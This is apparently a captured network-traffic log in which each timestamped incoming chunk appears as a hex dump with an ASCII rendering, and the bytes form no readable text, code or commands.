2023-01-25 20:04:37 UTC	6044	IN	Data Raw: bc 19 01 b1 12 14 02 0f 04 08 ae 12 0a 0f 11 07 11 79 17 0b 14 00 00 04 01 06 02 0e 01 9d 06 02 05 00 00 54 04 c4 01 02 11 05 13 04 16 04 80 01 02 1e 02 25 03 1a 07 50 08 2a 07 09 08 31 07 16 0e 2d 0d 14 00 00 18 04 05 03 9d 06 00 00 1d 02 09 01 01 02 06 01 0c 02 0e 02 05 02 01 02 0c 07 d1 01 0a 01 09 0a 0c 10 0b eb 01 0e 0b 0d 3c 10 01 02 0d 11 25 14 01 02 0c 15 01 18 2b 17 57 00 02 0e 20 81 01 1f 01 20 09 1f 0c 00 48 4b 74 01 91 01 0c 1e 21 74 01 91 01 0c 1e 1f 00 9a 1a 18 02 0b 08 18 06 0f 02 01 e3 19 01 19 0c 80 1a 0f 02 05 02 0c 04 01 f3 18 01 7f 0c f6 19 0a 11 0a 0b 0b 00 00 04 01 06 02 0e 01 87 01 02 06 00 00 48 02 30 01 09 02 0f 01 15 00 00 4b 02 01 02 0c 03 21 06 01 02 0c 07 1f 00 02 0e b0 01 f8 02 af 01 01 b0 01 e3 01 af 01 28 00 48 33 36 09 35 Data Ascii: yT%P*1-<%+W HKt!tH0K!(H365
2023-01-25 20:04:37 UTC	6060	IN	Data Raw: 11 05 11 09 11 0b 11 0b 11 05 11 09 16 05 11 09 11 05 11 0b 12 91 01 0a 00 00 04 01 06 02 0e 01 b7 07 02 05 00 00 d1 04 02 26 01 02 02 1f 01 16 02 9c 02 01 0a 00 00 57 02 3f 01 02 02 08 01 b8 03 04 1f 03 dd 02 00 02 0e 80 02 9a 04 ff 01 01 80 02 ef 01 ff 01 0d 00 7e 8b 03 0c 0a 0b d4 01 0c 05 0b 05 0c 05 0b 20 0c 19 0b 09 0c 05 0b 05 0c 05 0b 5c 00 ce 05 18 04 0a 02 0a 02 0a 1a 3e 04 1e 02 05 0a 0e 07 02 04 3d 0b 0a 10 32 02 09 06 3c 0a 26 22 0a 1f 06 02 16 06 18 1b 05 08 0a 14 0a 14 1b 04 16 02 0c 02 0a 1b 17 02 09 01 0f 02 11 28 05 27 05 28 05 27 0f 01 0f 02 02 28 19 25 02 02 07 24 05 27 05 28 05 27 0f 01 20 13 12 0b 0e 2d 0d 00 00 04 01 06 02 0e 01 85 06 02 08 00 00 42 02 32 02 8d 01 02 8a 01 05 03 08 7b 05 55 08 3a 09 0a 0a 59 07 1d 01 0d 00 00 8b 03 Data Ascii: &W?~ \>=2<&"('('(%$'(' -B2{U:Y
2023-01-25 20:04:37 UTC	6076	IN	Data Raw: 40 0d 0c 0e 17 0d 50 00 00 22 04 30 02 b8 08 01 73 00 00 77 02 04 01 01 02 0b 01 22 04 30 02 04 05 01 06 0b 05 20 08 3c 07 0b 0a 19 09 2e 0c 04 0b 01 0c 0b 0b 22 0e 3c 0d 0b 10 19 0f 86 02 12 05 11 0f 14 05 13 0e 16 01 02 08 17 10 1a 01 02 0a 1b 21 1e 2b 1d 42 20 2f 1f 03 20 02 1f 04 20 02 1f 17 12 31 11 73 00 02 0e 50 ea 02 4f 01 50 09 4f 01 50 09 4f 01 50 12 4f 14 00 56 b3 03 00 e4 08 1d 02 05 02 07 01 03 04 1a 10 0d 08 03 02 13 01 05 08 03 02 05 27 03 2a 18 06 08 02 1b 02 0a 04 17 02 14 39 03 3c 1e 02 05 06 08 04 08 02 0f 02 1b 02 0a 47 0a 10 05 0f 0d 50 0a 3d 0a 0f 0a 1a 12 21 14 00 00 04 01 06 02 0e 01 96 03 02 05 00 00 94 01 04 20 02 66 01 2f 02 26 05 2a 08 06 07 14 00 00 18 04 05 03 96 03 00 02 0e 60 88 02 5f 01 60 e7 01 5f 32 00 56 8d 03 1c 19 1b Data Ascii: @P"0sw"0 <."<!+B / 1sPOPOPOPOV'9<GP=! f/&`_`_2V
2023-01-25 20:04:37 UTC	6092	IN	Data Raw: 05 65 14 66 04 65 16 00 dc 09 14 b3 09 05 b6 09 14 b5 09 04 b6 09 0a 01 0c 00 00 14 02 27 01 0c 00 00 14 02 05 01 14 02 04 01 16 00 20 20 00 ba 16 0e 02 12 00 02 0a 80 01 59 7f 01 80 01 0d 7f 01 80 01 0b 7f 14 00 8a 01 91 01 00 96 05 19 02 07 02 05 01 05 08 05 02 05 02 0a 01 12 02 14 07 0e 06 0b 0b 14 00 00 04 01 02 02 0e 01 78 02 05 00 00 19 04 32 02 2c 02 06 07 14 00 00 14 04 7d 00 8c 01 48 00 f0 01 14 02 05 02 0a 03 25 00 02 34 00 8c 01 34 00 c4 02 04 0e 11 02 0d 01 03 02 03 36 01 37 07 04 03 42 01 00 01 34 00 04 28 01 01 02 0a 03 01 00 82 02 04 0e 11 02 0d 01 03 02 03 01 07 04 03 8a 01 01 00 02 32 01 01 00 02 16 f0 03 9a 07 ef 03 01 f0 03 37 ef 03 01 f0 03 a5 01 ef 03 2b 00 8e 01 6e 85 01 1a 84 01 04 83 01 0d 86 01 05 01 05 02 05 85 01 07 86 01 1e 85 Data Ascii: efe' Yx2,}H%4467B4(27+n
2023-01-25 20:04:37 UTC	6108	IN	Data Raw: 96 06 09 8b 06 08 84 0d 04 ff 0c 04 07 01 02 09 84 04 10 11 10 03 1e 00 00 04 01 06 02 2e 01 1f 02 55 01 19 02 05 00 00 22 04 a8 01 00 00 28 02 2f 01 09 04 09 02 09 01 08 04 04 03 0e 03 3e 00 02 04 30 5a 2f 01 30 26 00 02 1f 02 22 01 02 02 0c 01 10 02 0f 01 17 00 04 1f 9a 06 13 02 0f 9b 06 02 a0 06 0c 9f 06 10 a0 06 0a 03 05 9b 06 17 00 00 64 04 21 00 00 17 04 6e 00 00 1f 02 22 01 02 02 0c 01 10 02 0f 01 17 00 00 04 01 02 02 22 01 19 02 02 00 00 04 01 02 02 43 01 19 02 02 00 04 0b 00 8a 01 0b 00 02 0e b0 01 a0 01 af 01 01 b0 01 ca 01 af 01 01 b0 01 0b af 01 01 b0 01 0e af 01 33 00 06 5a 02 18 01 d5 02 00 52 2c 02 05 08 0b 09 05 14 0a 11 05 08 0a c4 0a 06 fe 03 0c fb 03 06 c5 0a 0d 02 11 07 1f 1c 0a 0b 06 09 02 0a 0a 09 02 04 1b 06 0f 05 02 03 07 04 05 06 Data Ascii: .U"(/>0Z/0&"d!n""C3ZR,
2023-01-25 20:04:37 UTC	6124	IN	Data Raw: 06 02 bc 01 01 19 02 06 00 00 99 01 02 2d 01 1f 00 00 26 02 22 01 02 02 2c 01 38 02 18 01 1f 00 02 0e 70 77 6f 01 70 2e 6f 01 70 16 6f 1e 00 1a e9 01 00 34 18 02 0e 44 06 02 1c 43 02 48 2c 47 10 04 1f 02 10 42 10 03 06 47 1e 00 00 04 01 06 02 c1 01 01 19 02 05 00 00 9d 01 02 2e 01 1e 00 00 26 02 22 01 02 02 2c 01 3f 02 16 01 1e 00 02 0e c0 01 fa 01 bf 01 01 c0 01 1b bf 01 01 c0 01 24 bf 01 3c 00 1a 85 03 00 52 20 02 14 26 06 02 1e 25 02 2a 34 29 18 03 05 04 5e 04 12 02 0a 24 18 03 0c 29 3c 00 00 04 01 06 02 bf 02 01 37 02 05 00 00 be 01 04 16 03 17 06 2b 02 33 07 3c 00 00 1d 04 8e 01 02 29 01 b1 01 00 00 34 02 24 01 02 02 34 01 97 01 02 24 01 3c 00 02 0e c0 01 fa 01 bf 01 01 c0 01 17 bf 01 01 c0 01 25 bf 01 3f 00 66 20 02 14 12 06 02 1e 11 02 16 34 15 13 Data Ascii: -&",8pwop.opo4DCH,GBG.&",?$<R &%*4)^$)<7+3<)4$4$<%?f 4
2023-01-25 20:04:37 UTC	6140	IN	Data Raw: 03 9a 08 00 00 90 02 02 02 01 17 02 4b 01 03 02 0b 01 05 02 2c 02 4e 03 03 04 43 03 05 04 07 01 07 01 40 06 02 05 15 06 50 05 03 06 0b 05 05 06 31 05 01 08 4d 07 03 08 52 02 47 01 04 07 03 0a 43 09 05 0a 07 01 08 01 08 05 28 00 02 0e 90 01 90 01 8f 01 01 90 01 14 8f 01 28 00 0e 28 07 07 08 ac 01 00 d8 01 22 02 06 a0 2f 07 95 2f 02 02 06 0a 06 15 05 2c 05 0f 0a 02 14 20 05 19 0c 02 06 06 0a 06 05 0c 05 02 0f 31 14 0f 28 00 00 04 01 06 02 a9 01 01 23 02 05 00 00 47 04 17 02 4f 02 06 07 28 00 00 22 04 b9 01 00 00 28 02 07 01 ac 01 00 02 0e 80 02 c3 01 ff 01 01 80 02 30 ff 01 15 00 0e 29 07 1d 08 0a 18 0d 1f 1c 08 9e 01 00 ce 02 18 02 11 b6 07 10 02 0d b1 07 02 07 08 85 02 0d c4 09 1c b5 07 59 03 31 03 14 00 00 04 01 06 02 f9 01 01 0f 02 05 00 00 58 02 2f 01 Data Ascii: K,NC@P1MRGC((("//, 1(#GO("(0)Y1X/
2023-01-25 20:04:37 UTC	6156	IN	Data Raw: e4 0e 02 df 0e 08 e0 0e 17 a7 34 0c a8 34 33 01 41 00 02 16 90 02 ef 01 8f 02 01 90 02 84 01 8f 02 3c 00 0e c6 03 00 e0 35 36 02 10 01 0f 02 1a b9 34 11 fa 17 06 02 09 c0 1c 02 bb 34 05 80 18 12 05 05 ca 1c 05 c7 1c 05 c0 1c 0e 08 41 c9 1c 06 02 04 c2 1c 64 bd 1c 11 be 1c 05 05 3c 00 00 09 01 06 02 fb 02 01 37 02 05 00 00 5c 04 80 01 02 2a 05 0d 08 14 02 30 01 33 07 3c 00 00 36 04 10 02 80 03 00 00 6f 04 11 01 0f 01 02 04 05 01 17 01 05 06 05 05 4f 02 04 04 06 05 64 06 11 05 41 00 02 0e 80 01 a6 01 7f 3d 00 0e f1 01 00 f4 35 2c 02 05 04 05 03 07 02 05 04 0b 05 03 14 05 0d 02 03 05 08 0e 02 12 04 0d 04 0a d9 34 07 da 34 11 d9 34 0a c4 34 3c 00 00 40 04 1c 02 1b 02 3e 07 3c 00 00 2c 04 c5 01 00 00 93 01 02 07 01 11 02 0a 01 3c 00 02 0e b0 01 ae 02 af 01 01 Data Ascii: 443A<5644Ad<7\*03<6oOdA=5,4444<@><,<
2023-01-25 20:04:37 UTC	6172	IN	Data Raw: 04 01 06 02 f7 03 01 2d 02 05 00 00 49 04 c3 02 02 14 05 35 04 2c 03 32 00 00 1d 04 e2 02 02 21 01 93 01 00 00 42 02 1e 01 2c 04 05 03 05 04 0e 02 07 05 04 04 03 02 0e 02 07 07 04 06 03 02 0e 02 07 09 04 08 03 02 0e 02 07 0b 04 0a 03 02 0e 02 07 0d 04 0c 03 02 0e 02 07 0f 04 0e 03 02 0e 02 07 11 08 10 03 02 12 11 0f 12 05 11 12 14 05 13 13 14 07 13 19 16 1e 15 47 00 90 02 06 16 0d 04 0e 04 0e 04 10 1d 0d 04 0e 04 0e 04 0e 18 05 02 01 00 02 0a 40 3a 3f 08 00 c6 02 14 08 16 02 05 02 16 0b 07 00 00 04 01 02 02 3f 01 05 02 02 00 00 1b 02 0f 02 1b 03 07 00 02 0a 40 3e 3f 08 00 04 50 00 da 02 14 08 16 02 04 02 05 02 16 0d 07 00 00 04 01 02 02 43 01 05 02 02 00 00 1b 02 13 02 1b 03 07 00 04 12 00 f0 02 06 06 06 03 06 00 fc 02 06 00 02 0e a0 01 a7 04 9f 01 01 a0 Data Ascii: -I5,2!B,G@:??@>?PC
2023-01-25 20:04:37 UTC	6188	IN	Data Raw: 10 e4 0b 14 00 26 2d 21 18 22 0d 21 04 22 6f 21 0c 22 1c 00 d0 10 1c 02 11 f7 0b 01 11 05 02 09 12 09 f6 0b 0d fb 0d 04 fc 0d 0f 02 05 9b 10 05 9e 10 11 99 10 09 9a 10 10 8d 10 13 8e 10 09 04 10 8d 0c 0c 84 0c 1c 00 00 2e 04 2f 02 0d 05 32 08 29 07 06 08 06 07 1c 00 00 2d 02 01 02 0e 01 09 01 0d 06 04 05 14 08 05 07 11 08 09 07 10 08 13 07 19 04 0c 03 1c 00 02 0e 80 01 b6 01 7f 01 80 01 0c 7f 1d 00 26 2d 21 1b 22 0a 21 04 22 6f 21 0c 22 1d 00 e0 10 21 02 0c 87 0c 01 11 08 02 09 12 09 86 0c 0a 8b 0e 04 8c 0e 11 02 05 ab 10 05 ae 10 11 a9 10 09 aa 10 10 9d 10 11 9e 10 09 04 10 9d 0c 0c 94 0c 1d 00 00 04 01 06 02 c7 01 01 18 02 05 00 00 31 04 31 01 0a 01 32 02 27 01 06 02 06 01 1d 00 00 18 04 04 02 d2 01 00 00 2d 02 01 02 11 01 09 01 0a 06 04 05 16 08 05 07 Data Ascii: &-!"!"o!"./2)-&-!"!"o!"!112'-
2023-01-25 20:04:37 UTC	6204	IN	Data Raw: 01 28 02 0d 01 28 02 c5 02 01 26 02 0c 01 28 02 0d 01 2b 02 eb 02 01 26 02 18 01 26 02 28 01 1b 02 3d 01 21 02 38 01 18 02 ca 05 01 26 02 19 01 26 02 25 01 1b 02 40 01 21 02 38 01 18 02 ce 01 01 26 02 0c 01 28 02 19 01 28 02 2f 01 18 02 35 01 28 02 0c 01 28 02 0c 01 28 02 0c 01 28 02 86 01 01 26 02 0c 01 28 02 0c 01 2b 02 0c 01 28 02 3d 01 26 02 0c 01 28 02 0c 01 29 02 14 01 2c 02 3c 01 18 02 ad 06 01 41 02 05 00 00 ef 02 04 65 02 9e 02 02 c0 0a 02 24 02 2e 02 a3 02 02 b6 01 0f be 01 12 8b 07 11 64 08 8f 03 0a 91 07 11 4e 14 df 01 01 b2 03 11 d0 02 16 f2 05 15 b7 01 16 b2 02 02 66 02 39 02 6a 02 81 01 02 a7 01 1f 72 22 30 21 80 01 24 45 0b 2d 0e c4 01 25 5c 28 43 02 7f 02 aa 01 2b 88 01 24 19 0d 1c 18 ca 01 02 4d 02 ff 01 0d 4b 10 82 02 02 8b 02 05 c8 01 Data Ascii: ((&(+&&(=!8&&%@!8&((/5((((&(+(=&(),<Ae$.dNf9jr"0!$E-%\(C+$MK
2023-01-25 20:04:37 UTC	6220	IN	Data Raw: 09 01 10 02 0f 01 7d 00 02 0e 80 02 8d 02 ff 01 01 80 02 09 ff 01 40 00 10 c5 01 0c 09 0b 10 0c 0f 0b 78 00 f6 03 18 0a 18 09 05 0a 08 07 08 02 09 16 05 15 05 06 5c 02 0c 02 05 c5 03 09 c8 03 10 bb 03 0f bc 03 13 04 02 06 1a 13 0a 05 3f 00 00 3d 02 72 02 16 03 1c 06 3b 05 49 00 00 18 04 25 02 a8 02 00 00 c5 01 02 09 01 10 02 0f 01 78 00 02 0e 80 01 bd 01 7f 01 80 01 0c 7f 2d 00 1c 3a 02 1d 01 05 02 04 01 6c 02 0c 01 2d 00 a4 02 1d 04 0c 06 11 ac 02 01 11 0a 02 09 12 09 ad 02 05 28 04 27 11 02 05 f5 01 05 f8 01 10 f3 01 09 f4 01 10 e7 01 0f e8 01 09 04 10 96 02 0c a7 02 2d 00 00 04 01 06 02 ce 01 01 23 02 0a 00 00 3b 04 31 02 0a 05 31 08 25 07 06 08 06 07 2d 00 00 1d 04 05 02 e3 01 00 00 3a 02 01 02 13 01 09 01 05 06 04 05 16 08 05 07 10 08 09 07 10 08 0f Data Ascii: }@x\?=r;I%x-:l-('-#;11%-:
2023-01-25 20:04:37 UTC	6236	IN	Data Raw: 03 20 02 03 3c 07 3b 1f 06 12 07 08 10 0c a7 02 23 aa 02 96 01 07 1a 05 12 22 21 02 09 c5 02 08 b6 02 1b 0c 05 09 05 b7 02 0d ba 02 05 08 08 02 0f 07 05 01 05 ba 02 27 b7 02 05 be 02 05 05 04 b7 02 08 be 02 22 02 10 04 99 01 b5 02 05 0b 06 0c 10 05 06 25 3e 00 00 04 01 06 02 c3 01 01 18 02 0b 01 22 02 8a 03 01 18 02 09 01 22 02 28 01 37 02 07 00 00 76 04 23 02 8f 01 05 8b 01 08 48 02 6d 02 99 01 02 06 0d 3e 00 00 20 04 43 02 c5 01 01 2c 02 f1 03 00 00 23 02 07 01 45 04 23 03 ec 01 06 08 05 25 06 0d 05 26 08 27 07 05 08 09 07 08 08 cb 01 07 5f 00 02 0e 80 01 a3 03 7f 01 80 01 0d 7f 02 80 01 11 7f 29 00 2a 1b 1c 06 1b 1e 04 07 03 01 04 08 03 ac 03 00 d4 03 18 02 03 07 06 08 19 01 05 25 07 2e 01 2d 08 30 05 94 02 05 93 02 27 06 13 82 02 28 ff 01 05 8c 02 05 Data Ascii: <;#"!'"%>""(7v#Hm> C,#E#%&'_)*%.-0'(
2023-01-25 20:04:37 UTC	6252	IN	Data Raw: 05 05 06 33 05 2b 08 08 07 12 0a 0e 09 09 0a 09 09 f6 01 0c 14 0b 05 0c 43 0b 05 0c 38 0b 10 08 08 07 12 0e 0e 0d 0f 0e 05 0d 30 08 08 07 64 08 08 07 26 08 4a 07 10 08 08 07 05 08 06 07 08 08 0c 07 ac 02 10 10 0f 01 12 28 11 05 12 1a 11 1d 12 3d 11 03 12 02 11 03 12 08 11 46 14 5c 13 34 16 36 15 1d 16 1e 15 05 16 25 15 0a 18 36 17 10 18 1e 17 05 18 35 17 10 1a 08 02 0c 01 06 19 0c 1e a8 01 02 15 01 2b 02 03 1f 01 20 45 1f 17 16 08 15 df 01 0a 43 18 0e 17 07 09 01 24 54 23 08 24 34 23 38 0e 30 18 0e 17 06 0d 2d 0e 0b 0d 17 0a 0b 09 8a 01 00 02 0e 80 02 36 ff 01 01 80 02 89 03 ff 01 37 00 08 8d 01 04 1a 03 de 02 00 ba 12 20 04 0d 03 0c 04 02 12 0a 11 09 0c 08 0b 03 06 05 05 1b 02 05 04 05 03 0a f2 03 05 aa 19 0e a7 19 07 f3 03 13 0a 08 05 05 05 05 06 05 06 Data Ascii: 3+C80d&J(=F\46%65+ EC$T#$4#80-67
2023-01-25 20:04:37 UTC	6268	IN	Data Raw: 05 14 10 02 11 02 05 02 04 04 11 09 0c 13 32 00 00 aa 01 04 0f 03 27 06 06 05 32 00 00 1d 04 82 01 02 1a 01 5f 00 00 21 02 12 01 03 04 14 03 ce 01 00 02 04 30 63 2f 01 30 0e 00 9a 05 0e 02 04 87 04 0b 8c 04 03 06 04 07 01 08 04 91 04 07 92 04 03 05 02 06 05 02 04 01 14 04 05 02 04 04 0d 09 0e 00 00 6b 04 0b 00 00 12 02 0b 01 0c 02 07 01 46 00 02 04 30 3c 2f 01 30 2e 2f 01 30 09 00 ba 05 0e 02 04 af 04 0a b0 04 04 0a 06 02 07 02 04 02 10 0b 01 f9 03 08 02 08 02 04 f8 03 1a 04 09 00 00 73 04 06 00 00 0e 04 6b 00 00 12 02 0a 01 26 04 14 03 23 00 02 0e 40 50 3f 01 40 40 3f 02 40 30 3f 01 40 09 3f 14 00 04 ef 01 00 dc 05 18 02 04 d1 04 0e d2 04 02 0a 0b 02 06 02 08 02 04 02 16 13 05 18 22 02 09 02 03 02 0f 17 01 9b 04 08 02 08 02 04 9a 04 1c 04 09 0b 14 00 00 Data Ascii: 2'2_!0c/0kF0</0./0sk&#@P?@@?@0?@?"
2023-01-25 20:04:37 UTC	6284	IN	Data Raw: 47 31 ad 01 00 74 18 cc 01 05 cb 01 0f 02 07 ca 01 47 c9 01 1a 06 0e 03 53 03 32 00 00 04 01 06 02 40 01 20 02 8b 01 01 2d 02 05 00 00 33 04 58 02 2c 02 2f 02 0f 09 32 00 00 18 02 05 01 16 02 47 01 ad 01 00 02 0a 60 38 5f 01 60 27 5f 12 00 2a 7c 00 8c 01 14 02 05 06 2a 03 28 03 11 00 00 04 01 02 02 65 01 0f 02 02 00 00 30 04 3b 03 11 00 00 14 04 68 00 02 0a 50 2a 4f 01 50 0e 4f 30 00 2a 73 00 9c 01 19 04 0e 02 0e 04 0f 09 2f 00 00 04 01 02 02 3e 01 2d 02 02 00 00 35 04 0f 03 2f 00 00 19 04 5a 00 02 0a 40 59 3f 33 00 08 96 01 00 a2 01 19 06 03 15 04 16 02 0f 01 21 06 24 05 19 17 1a 12 0e 0d 05 32 00 00 04 01 02 02 5e 01 2d 02 05 00 00 3d 04 12 03 47 00 00 19 04 15 02 21 01 47 00 00 1c 02 04 01 02 02 01 02 06 01 05 02 17 01 12 01 3f 00 02 16 b0 02 d1 05 af Data Ascii: G1tGS2@ -3X,/2G`8_`'_\|(e0;hPOPO0s/>-5/Z@Y?3!$2^-=G!G?
2023-01-25 20:04:37 UTC	6300	IN	Data Raw: 02 05 00 00 36 04 2f 02 33 02 21 02 33 02 23 02 35 02 2a 0f 38 00 00 2e 04 f8 02 00 00 45 02 25 01 0e 02 05 01 05 02 05 01 9f 02 00 02 0e 60 b2 01 5f 01 60 1a 5f 2a 00 04 85 02 00 ac 06 1d 0e 03 0b 12 32 09 02 0b 02 09 02 09 02 0e 02 05 02 05 02 05 02 05 08 06 0a 03 51 02 02 24 02 18 06 0d 02 0e 0f 29 00 00 a4 01 04 38 03 29 00 00 1d 04 e8 01 00 00 32 02 51 01 82 01 00 02 0e e0 01 b9 01 df 01 01 e0 01 ca 01 df 01 01 e0 01 1e df 01 28 00 04 92 01 34 1e 33 a9 02 00 d4 07 1d 02 06 12 0d 07 26 08 21 02 1b f1 06 1e e0 06 18 14 05 02 18 03 03 02 03 01 05 02 28 01 0a 02 06 01 05 02 21 02 0a 01 09 02 05 01 05 08 28 07 12 0b 0c 0b 28 00 00 04 01 06 02 a7 03 01 23 02 05 00 00 72 02 20 01 07 04 2f 03 78 06 2e 01 43 03 28 00 00 1d 04 13 02 62 01 36 02 91 02 00 00 92 Data Ascii: 6/3!3#58.E%`_`_2Q$)8)2Q(43&!(!((#r /x.C(b6
2023-01-25 20:04:37 UTC	6316	IN	Data Raw: 0a 08 c6 2e 04 c1 2e 04 07 01 02 0a a6 0a 1e 0a 03 0c 0d 15 05 1b 24 02 0f 02 0c 01 08 02 19 ea 12 01 81 1e 03 86 1e 0e 02 07 02 31 02 06 eb 12 0b 07 08 02 97 01 d1 08 0f 02 2b ce 05 03 cd 05 09 fc 08 06 0b 06 1d 05 04 05 8a 23 01 e8 08 09 02 35 e5 08 10 ad 2d 08 02 05 d4 0a 0c c9 0a 08 c6 2e 04 c1 2e 04 07 01 02 0a 96 0a 1e 1a 03 0c 08 25 05 1f 31 02 3d 06 1d 32 03 0c 08 ca 0b 03 d5 0b 02 02 3e 0a 0b f1 02 08 f2 02 07 02 0d 04 08 f7 02 08 f8 02 09 08 19 02 2f 04 13 06 0f 08 14 83 02 24 02 10 02 3d 01 13 02 0d 74 10 07 10 30 10 19 10 78 13 0d 08 d3 0b 08 90 1e 3b 8f 1e 08 aa 1e 39 f5 12 13 f8 09 13 e7 0a 13 21 11 27 1b 32 08 36 08 85 01 08 70 06 51 0b 68 11 85 01 08 86 01 08 67 11 68 08 67 04 f2 0d 01 eb 17 04 fc 09 0a 01 08 ea 0c 13 81 0c 08 8a 0c 07 02 Data Ascii: ..$1+#5-..%1=2>/$=t0x;9!'26pQhghg
2023-01-25 20:04:37 UTC	6332	IN	Data Raw: 01 2c 00 f2 07 18 02 05 02 28 02 0c 05 05 b0 01 27 02 ac 01 a7 01 0f 09 1d 00 84 08 18 02 05 02 28 02 0c 05 05 9e 01 27 02 ac 01 95 01 0f 09 1d 00 96 08 18 02 05 02 28 02 0c 05 05 8c 01 27 02 ac 01 83 01 0f 09 1d 00 a8 08 18 02 05 02 28 02 0c 05 05 7a 27 02 ac 01 71 0f 09 1d 00 ba 08 18 02 05 02 28 02 0c 05 05 68 27 02 ac 01 5f 0f 09 1d 00 cc 08 18 02 05 02 28 02 0c 05 05 56 27 02 ac 01 4d 0f 09 1d 00 de 08 18 02 05 02 28 02 0c 05 05 44 27 02 ac 01 3b 0f 09 1d 00 f0 08 18 02 05 02 28 02 0c 05 05 32 27 02 ac 01 29 0f 09 1d 00 82 09 18 02 05 02 28 02 0c 05 05 20 27 02 ac 01 17 0f 09 1d 00 0a 06 00 98 09 06 00 02 0e 80 02 d9 01 ff 01 01 80 02 15 ff 01 01 80 02 15 ff 01 01 80 02 1a ff 01 17 00 0a 47 20 57 1f a7 01 00 ae 09 20 04 08 06 08 0a 17 bd 07 01 d1 01 Data Ascii: ,('('('(z'q(h'_(V'M(D';(2')( 'G W
2023-01-25 20:04:37 UTC	6348	IN	Data Raw: 01 24 02 1f 01 24 02 1f 01 24 02 1f 01 29 02 22 01 24 02 1f 01 24 02 1f 01 24 02 1f 01 24 02 1f 01 24 02 1f 01 41 02 0a 01 05 02 05 00 00 26 02 20 02 b1 06 03 14 00 02 16 90 03 f9 05 8f 03 01 90 03 89 02 8f 03 64 00 04 fd 08 00 56 4e 44 08 41 06 01 03 02 03 01 03 02 0b 02 16 02 19 01 08 02 1a 04 14 02 29 02 19 18 0f 04 08 19 0d 16 0b 04 09 19 13 1a 12 03 12 0d 13 02 2b 02 16 02 0a 02 0a 02 03 02 1b 02 25 02 18 01 15 02 0b 02 0f 01 19 02 18 03 0d 02 05 14 0d 15 08 0e 0d 10 06 0f 05 09 02 1a 2b 13 08 07 05 01 08 0e 09 0d 0d 16 08 0b 16 04 12 01 13 02 25 04 22 02 11 02 11 01 0c 02 10 13 0b 21 06 05 64 00 00 09 01 06 02 8a 08 01 5f 02 05 00 00 6b 04 19 02 6d 02 1c 02 8a 01 02 98 01 02 75 02 6c 02 71 02 47 02 3b 03 16 11 64 00 00 2e 04 28 04 a7 08 00 02 0a 30 Data Ascii: $$$)"$$$$$A& dVNDA)+%+%"!d_kmulqG;d.(0
2023-01-25 20:04:37 UTC	6364	IN	Data Raw: 0b 06 0b 06 0b 06 0b 06 0b 06 10 06 10 06 19 06 12 0c 08 0c 08 18 0b 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 5f 0b 06 0b 06 0b 06 0b 06 0b 06 0b 06 0b 06 0e 02 13 04 13 06 13 06 0b 06 0b 06 0b 06 0b 06 0b 06 0b 06 0b 06 1b dd 04 04 e6 04 1e 06 1e 06 1e 06 1b 06 1b 06 1b 06 1e 06 1b 06 1b 06 13 06 1b 06 1b 06 1b 06 1b 06 1b 06 1b 06 1b 08 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 f7 02 13 06 13 06 13 06 13 06 13 06 13 06 13 06 0b 06 10 06 13 6c 08 30 03 2f 0b 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 13 06 16 3e 13 06 13 06 13 06 13 06 13 06 13 06 13 06 16 67 03 02 0b 68 13 06 13 06 0b 06 0b 06 0b 06 0b 06 0b 06 13 06 0b 06 13 06 0b 06 19 06 12 12 08 11 08 30 0b 06 13 06 13 06 13 06 13 06 Data Ascii: _l0/>gh0
2023-01-25 20:04:37 UTC	6380	IN	Data Raw: 02 11 27 0d 28 19 02 35 02 23 02 23 04 2a 02 2a 02 26 02 23 04 19 3b 11 3c 19 02 11 3d 0d 3e 19 02 23 02 23 04 2a 02 2a 02 29 02 23 04 11 4f 0d 50 19 02 11 51 0d 52 19 02 2f 02 23 0c 0c 02 01 63 0c 68 0d 05 0a b9 01 0a 02 07 02 10 02 19 ba 01 1e 50 05 49 05 1c 01 04 19 e5 01 0f 02 07 02 0c 02 16 e0 01 19 02 0c df 01 0d e0 01 19 02 0c 91 01 0d 92 01 26 02 11 93 01 0d 51 0a e6 01 19 93 01 0c 96 01 1a 22 0a 21 19 02 0d 29 05 4a 05 49 0f 6d 11 72 19 71 11 74 19 73 11 76 19 75 11 78 19 77 11 7a 19 09 0e 0e 08 02 5e 04 2b 83 01 11 9e 01 19 9d 01 11 a0 01 19 9f 01 11 a2 01 19 a1 01 11 a4 01 19 a3 01 13 a6 01 19 04 0b 02 01 04 19 05 09 81 02 0f 02 07 02 0f 02 16 82 02 19 02 0c 81 02 0d 82 02 19 02 0c b3 01 0d b4 01 26 02 11 b5 01 0d 51 0a 88 02 19 b5 01 0c b8 01 Data Ascii: '(5##&#;<=>##)#OPQR/#chPI&Q"!)JImrqtsvuxwz^+&Q
2023-01-25 20:04:37 UTC	6396	IN	Data Raw: 0a 03 f8 01 00 00 61 02 3f 01 7a 00 02 0e 90 01 c2 01 8f 01 01 90 01 63 8f 01 01 90 01 1c 8f 01 29 00 24 34 1d 10 1e 02 1d 0c 1e 32 1d 0e 1e 02 1d 0c 1e da 01 00 5e 27 06 0d 15 10 1e 02 17 0c 18 26 12 08 11 04 1d 0e 20 02 19 0c 1a 25 02 0c 08 2b 02 10 04 29 17 1d 07 28 00 00 04 01 06 02 c8 02 01 23 02 05 00 00 27 02 0d 01 39 02 17 01 33 02 3b 02 15 02 0f 02 0a 02 32 09 28 00 00 18 04 0f 03 d3 02 00 00 34 02 10 01 02 02 0c 01 32 04 0e 03 02 04 0c 03 da 01 00 02 0e 40 8d 01 3f 1f 00 24 2e 1d 0e 1e 02 1d 0c 1e 0c 1d 0e 1e 02 1d 0c 1e 48 00 8a 01 22 02 0c 3d 0e 40 02 39 0c 3a 0c 3f 0e 40 02 39 0c 3a 0c 01 05 04 0a 04 0f 09 1e 00 00 29 02 2d 01 32 04 0a 03 28 00 00 18 04 0a 03 98 01 00 00 2e 02 0e 01 02 02 0c 01 0c 04 0e 03 02 04 0c 03 48 00 02 0e 80 02 5b ff Data Ascii: a?zc)$42^'& %+)(#'93;2(42@?$.H"=@9:?@9:)-2(.H[
